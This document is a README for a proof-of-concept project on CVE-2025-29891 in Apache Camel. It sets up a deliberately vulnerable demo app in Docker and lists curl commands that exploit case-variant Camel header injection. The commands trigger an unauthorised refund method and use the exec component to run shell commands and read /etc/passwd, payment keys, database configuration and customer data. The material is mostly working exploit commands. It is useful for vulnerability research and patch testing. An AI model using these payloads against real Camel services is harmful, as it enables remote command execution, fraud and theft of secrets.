CVE-2025-29891 PoC — Apache Camel 安全漏洞

介绍

# Apache Camel CVE Demonstration

This project demonstrates security vulnerabilities in Apache Camel related to header injection attacks.

## Docker Build

Build the Docker image:
```shell
docker build -t camel-cve-demo .
```

## Docker Run

Run the container with all necessary ports:
```shell
docker run -d `
  --name camel-cve-demo `
  -p 8080:8080 `
  -p 8081:8081 `
  -p 8484:8484 `
  -v ${PWD}/logs:/app/logs `
  -e JAVA_OPTS="-Xmx512m -Xms256m" `
  camel-cve-demo
```

## Attack Reproduction

### 1. Bean Method Injection Attack

Exploit vulnerable endpoint by injecting method names:

```shell
# Successful attack - case-sensitive header
curl.exe -X POST "http://localhost:8081/api/payment/callback" -H "cAmelBeanMethodName: processRefund" -d "order_id=ORD999&amount=9999.99"

# Alternative - query parameter injection
curl.exe "http://localhost:8081/api/payment/callback?cAmelBeanMethodName=processRefund" -X POST -d "order_id=ORD999&amount=9999.99"
```

**Comparison (these should fail):**
```shell
# Wrong case - should not work
curl.exe -X POST "http://localhost:8081/api/payment/callback" -H "camelbeanmethodname: processRefund" -d "order_id=ORD999&amount=9999.99"

curl.exe -X POST "http://localhost:8081/api/payment/callback" -H "CamelBeanMethodName: processRefund" -d "order_id=ORD999&amount=9999.99"
```

### 2. Command Execution Attack

Exploit exec component to execute arbitrary commands:

**Reconnaissance:**
```shell
# Check current directory
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: /bin/sh" -H "cAmelExecCommandArgs: -c pwd"

# List config directory
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: /bin/sh" -H "cAmelExecCommandArgs: -c ls -la /app/config/"

# Find configuration files
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: /bin/sh" -H "cAmelExecCommandArgs: -c find / -name database.conf 2>/dev/null"
```

**Data Exfiltration:**
```shell
# Read database configuration
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: cat" -H "cAmelExecCommandArgs: /etc/app/config/database.conf"

# Read payment secrets
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: cat" -H "cAmelExecCommandArgs: /app/secrets/payment.key"

# Read customer data
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: cat" -H "cAmelExecCommandArgs:/var/data/customers/customers.csv"

# Read audit logs
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: cat" -H "cAmelExecCommandArgs:/var/log/audit/audit.log"

# Read system users
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: cat" -H "cAmelExecCommandArgs:/etc/passwd"

# List processes
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: ps" -H "cAmelExecCommandArgs:aux"
```

## Verify Attack Results

Check the attack logs inside the container:

```shell

# View unauthorized refund attempts
docker exec camel-cve-demo cat /tmp/unauthorized_refund.txt
```

## Ports

- **8080**: Main application (frontend)
- **8081**: Bean injection vulnerable endpoint
- **8484**: Exec injection vulnerable endpoint

文件快照

备注